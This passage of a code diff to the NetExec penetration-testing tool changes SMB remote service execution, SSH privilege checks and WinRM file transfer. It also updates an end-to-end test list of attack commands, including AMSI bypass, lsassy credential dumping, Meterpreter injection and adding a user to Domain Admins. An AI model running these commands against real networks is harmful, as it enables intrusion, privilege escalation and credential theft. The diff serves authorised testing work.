- command = self.__shell + data + f" ^> \\\\{local_ip}\\{self.__share_name}\\{self.__output}" if self.__retOutput else self.__shell + data
-
- with open(path_join(TMP_PATH, self.__batchFile), "w") as batch_file:
- batch_file.write(command)
-
- self.logger.debug("Hosting batch file with command: " + command)
-
- command = self.__shell + f"\\\\{local_ip}\\{self.__share_name}\\{self.__batchFile}"
- self.logger.debug("Command to execute: " + command)
-
- self.logger.debug(f"Remote service {self.__serviceName} created.")
- resp = scmr.hRCreateServiceW(
- self.__scmr,
- self.__scHandle,
- self.__serviceName,
- self.__serviceName,
- lpBinaryPathName=command,
- dwStartType=scmr.SERVICE_DEMAND_START,
- )
- service = resp["lpServiceHandle"]
-
- try:
- self.logger.debug(f"Remote service {self.__serviceName} started.")
- scmr.hRStartServiceW(self.__scmr, service)
- except Exception:
- pass
- self.logger.debug(f"Remote service {self.__serviceName} deleted.")
- scmr.hRDeleteService(self.__scmr, service)
- scmr.hRCloseServiceHandle(self.__scmr, service)
- self.get_output_fileless()
-
- def get_output_fileless(self):
- if not self.__retOutput:
- return
-
- while True:
- try:
- with open(path_join(TMP_PATH, self.__output), "rb") as output:
- self.output_callback(output.read())
- break
- except OSError:
- sleep(2)
-
def finish(self):
# Just in case the service is still created
try:
diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py
index a5c7b9c9..57d0f714 100644
--- a/nxc/protocols/ssh.py
+++ b/nxc/protocols/ssh.py
@@ -142,38 +142,44 @@ class ssh(connection):
def check_shell(self, cred_id):
host_id = self.db.get_hosts(self.host)[0].id
- # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
# Check Linux
- stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore")
- if stdout:
- self.server_os_platform = "Linux"
- self.logger.debug(f"Linux detected for user: {stdout}")
- self.shell_access = True
- self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
- self.check_linux_priv()
- if self.admin_privs:
- self.logger.debug(f"User {self.username} logged in successfully and is root!")
- if self.args.key_file:
- self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
- else:
- self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
- return
+ try:
+ # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
+ stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore")
+ if stdout:
+ self.server_os_platform = "Linux"
+ self.logger.debug(f"Linux detected for user: {stdout}")
+ self.shell_access = True
+ self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
+ self.check_linux_priv()
+ if self.admin_privs:
+ self.logger.debug(f"User {self.username} logged in successfully and is root!")
+ if self.args.key_file:
+ self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
+ else:
+ self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
+ return
+ except Exception as e:
+ self.logger.debug(f"Non-SSH error during Linux shell check: {e}")
# Check Windows
- stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore")
- if stdout:
- self.server_os_platform = "Windows"
- self.logger.debug("Windows detected")
- self.shell_access = True
- self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
- self.check_windows_priv(stdout)
- if self.admin_privs:
- self.logger.debug(f"User {self.username} logged in successfully and is admin!")
- if self.args.key_file:
- self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
- else:
- self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
- return
+ try:
+ stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore")
+ if stdout:
+ self.server_os_platform = "Windows"
+ self.logger.debug("Windows detected")
+ self.shell_access = True
+ self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
+ self.check_windows_priv(stdout)
+ if self.admin_privs:
+ self.logger.debug(f"User {self.username} logged in successfully and is admin!")
+ if self.args.key_file:
+ self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
+ else:
+ self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
+ return
+ except Exception as e:
+ self.logger.debug(f"Error during Windows shell check: {e}")
# No shell access
self.shell_access = False
@@ -196,8 +202,12 @@ class ssh(connection):
# we could add in another method to check by piping in the password to sudo
# but that might be too much of an opsec concern - maybe add in a flag to do more checks?
self.logger.info("Determined user is root via `id; sudo -ln` command")
- _, stdout, _ = self.conn.exec_command("id; sudo -ln 2>&1")
- stdout = stdout.read().decode(self.args.codec, errors="ignore")
+ try:
+ _, stdout, _ = self.conn.exec_command("id; sudo -ln 2>&1")
+ stdout = stdout.read().decode(self.args.codec, errors="ignore")
+ except SSHException as e:
+ self.logger.debug(f"SSH channel closed during privilege check: {e}")
+ return
admin_flag = {
"(root)": [True, None],
"NOPASSWD: ALL": [True, None],
diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py
index 83cc94be..50bd0010 100644
--- a/nxc/protocols/winrm.py
+++ b/nxc/protocols/winrm.py
@@ -72,7 +72,10 @@ class winrm(connection):
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
- self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
+ try:
+ self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
+ except Exception as e:
+ self.logger.debug(f"Error adding host to database: {e!s}")
if self.args.domain:
self.domain = self.args.domain
@@ -299,6 +302,40 @@ class winrm(connection):
if get_output:
return result
+ def get_file(self, remote_path=None, download_path=None):
+ remote_path = remote_path if remote_path else self.args.get_file[0]
+ local_path = download_path if download_path else self.args.get_file[1]
+
+ # Do a bit of smart handling for the local file path
+ if local_path.endswith("/"):
+ local_path += ntpath.basename(remote_path)
+ try:
+ self.logger.display(f'Downloading "{remote_path}" to "{local_path}"')
+ self.conn.fetch(remote_path, local_path)
+ self.logger.success(f"File {remote_path} has been saved to {local_path}")
+ except Exception as e:
+ self.logger.fail(f"Failed to get file {remote_path}, error: {e!s}")
+
+ def put_file(self, local_path=None, remote_path=None):
+ local_path = local_path if local_path else self.args.put_file[0]
+ remote_path = remote_path if remote_path else self.args.put_file[1]
+
+ # Do a bit of smart handling for the remote file path
+ remote_path += os.path.basename(local_path) if remote_path.endswith(("\\", "/")) else ""
+ try:
+ self.logger.display(f'Uploading "{local_path}" to "{remote_path}"')
+ self.conn.copy(local_path, remote_path)
+ self.logger.success(f"File {local_path} has been uploaded to {remote_path}")
+ except Exception as e:
+ self.logger.fail(f"Failed to put file {local_path} to {remote_path}, error: {e!s}")
+
+ def dir(self, directory=None):
+ directory = directory if directory else self.args.dir
+ out = self.execute(f"dir {directory}", True)
+ if out is not None:
+ for line in out.splitlines():
+ self.logger.highlight(line.rstrip())
+
# Dos attack prevent:
# if someboby executed "reg save HKLM\sam C:\windows\temp\sam" before, but didn't remove "C:\windows\temp\sam" file,
# when user execute the same command next time, in tty shell, the prompt will ask "File C:\windows\temp\sam already exists. Overwrite (Yes/No)?"
diff --git a/nxc/protocols/winrm/database.py b/nxc/protocols/winrm/database.py
index 6a1eba32..1beb7d69 100644
--- a/nxc/protocols/winrm/database.py
+++ b/nxc/protocols/winrm/database.py
@@ -1,4 +1,4 @@
-from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, select, func, delete
+from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete
from sqlalchemy.dialects.sqlite import Insert
from sqlalchemy.orm import declarative_base
@@ -28,6 +28,7 @@ class database(BaseDB):
__table_args__ = (
PrimaryKeyConstraint("id"),
+ UniqueConstraint("ip"),
)
class User(Base):
@@ -122,7 +123,7 @@ class database(BaseDB):
# TODO: find a way to abstract this away to a single Upsert call
q = Insert(self.HostsTable)
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
- q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
+ q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns)
self.db_execute(q, hosts)
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
diff --git a/nxc/protocols/winrm/proto_args.py b/nxc/protocols/winrm/proto_args.py
index 27c230d5..d8a342b7 100644
--- a/nxc/protocols/winrm/proto_args.py
+++ b/nxc/protocols/winrm/proto_args.py
@@ -19,8 +19,15 @@ def proto_args(parser, parents):
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems")
+ mapping_enum_group = winrm_parser.add_argument_group("Mapping/Enumeration")
+ mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
+
+ files_group = winrm_parser.add_argument_group("File Operations")
+ files_group.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
+ files_group.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
+
cgroup = winrm_parser.add_argument_group("Command Execution")
- cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
+ cgroup.add_argument("--codec", default="437", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
diff --git a/poetry.lock b/poetry.lock
index 1333c091..601a9b3b 100644
--- a/poetry.lock
+++ b/poetry.lock
@@ -493,14 +493,14 @@ files = [
[[package]]
name = "certihound"
-version = "0.1.1"
+version = "0.2.0"
description = "Linux-native AD CS collector library for BloodHound CE - enumerate ADCS and export to BloodHound format"
optional = false
python-versions = ">=3.10"
groups = ["main"]
files = [
- {file = "certihound-0.1.1-py3-none-any.whl", hash = "sha256:9e22eb8d465b4ac2ffb9c2f2db1d3998ab44b5acfcf9f8e7b65136acb1855112"},
- {file = "certihound-0.1.1.tar.gz", hash = "sha256:9c4006dd682e927bd7f1e0e1e4f2fae0a00c9ef10f971344f5a3d9d96f1289d7"},
+ {file = "certihound-0.2.0-py3-none-any.whl", hash = "sha256:771dc745a9e66c5f03b6c6a2c3574355b4c1a0a959c391ad57233599be2dfcf3"},
+ {file = "certihound-0.2.0.tar.gz", hash = "sha256:fc8b3c357a91f8845bac34d91e7a8d644aa4d61db09d880249bb5e544a0a100a"},
]
[package.dependencies]
diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt
index f9318889..99ff30c4 100644
--- a/tests/e2e_commands.txt
+++ b/tests/e2e_commands.txt
@@ -8,6 +8,7 @@ netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --no-smbv1
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --file-write-check
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --disks
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups
@@ -66,7 +67,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method smbexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 --obfs --amsi-bypass AMSI_BYPASS_FILE --no-encode --exec-method mmcexec
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --clear-obfscripts # current we don't really use?
-netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi "select Name from win32_computersystem"
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-query "select Name from win32_computersystem"
netexec --jitter 2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
@@ -114,6 +115,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lsassy
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M masky -o CA="host.domain.tld\domain-host-CA"
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M met_inject -o SRVHOST=127.0.0.1 SRVPORT=4443 RAND=12345
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins"
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins" REMOVE=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol
@@ -148,6 +151,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -o FILTER=WRITE
+netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -o EXCLUDE=IPC$,ADMIN$
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test
@@ -229,6 +235,8 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-net
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M maq
+netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins"
+netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M modify-group -o USER=USERNAME GROUP="Domain Admins" REMOVE=True
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pre2k
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pre2k -o ALL=true
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M subnets
@@ -328,3 +336,4 @@ netexec nfs TARGET_HOST -u "" -p "" --shares
netexec nfs TARGET_HOST -u "" -p "" --enum-shares
netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt
netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test
+netexec nfs TARGET_HOST -u "" -p "" --chmod 666 /NFStest/test/test.txt